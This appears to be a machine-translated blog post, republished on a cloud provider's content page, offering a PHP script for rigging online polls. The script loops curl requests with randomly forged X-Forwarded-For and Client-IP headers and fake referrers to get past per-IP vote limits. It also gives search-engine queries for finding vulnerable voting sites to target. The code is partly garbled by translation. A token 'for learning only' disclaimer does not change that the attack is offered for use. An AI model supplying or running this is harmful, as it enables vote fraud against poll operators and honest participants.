Online voting system code for swipe tickets

Source: Internet
Author: User

Voting is very much the site is based on an IP address. Different IP addresses vote once a day

The following code uses curl to extend the fake IP address for unrestricted voting.

$times = $_post[' Times '];  Number of votes = $_post[' url '];   Voting address [the link for voting button under a contestant]while ($times) {$ip 1 = ' x-forwarded-for: '. Rand (115,225). '. Rand (115,225). '. '. Rand (115,225). '. '. Rand (115,225); $ip 2 = ' Client-ip: '. Rand (115,225). '. Rand (115,225). '. '. Rand (115,225). '. '. Rand (115,225); $arr = Array (' A ', ' B ', ' C ', ' d ', ' e ', ' f ', ' g ', ' h ', ' I ', ' j ', ' K ', ' l ', ' m ', ' n ', ' o ', ' P ', ' Q ', ' R ', ' s ', ' t ', ' u ', ' V ', ' w ', ' x ', ' y ', ' z '); $from = "http://www." $arr [Rand (0,25)]. ". com/"; $ch = Curl_init (); curl_setopt ($ch, Curlopt_url, $url); curl_setopt ($ch, Curlopt_httpheader, Array ($ip 1, $ip 2)); curl_setopt ($ch, Curlopt_referer, $from); curl_setopt ($ch, Curlopt_header, 1); Curl_exec ($ch); Curl_close ($ch); $times--;} return;


Note: Most systems are capable. The main thing is that he did not check the IP address at the time of the real address, but some of the program ape code written more cautious, such a failure.

Suppose you want to test this code but can't find the voting system. In the Baidu or Google search bar input inurl:vote or Inurl:toupiao will find a lot.

This article only for learning to communicate, use all the consequences, I have nothing

Copyright notice: This article Bo Master original articles, blogs, without consent may not be reproduced.

Online voting system code for swipe tickets

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.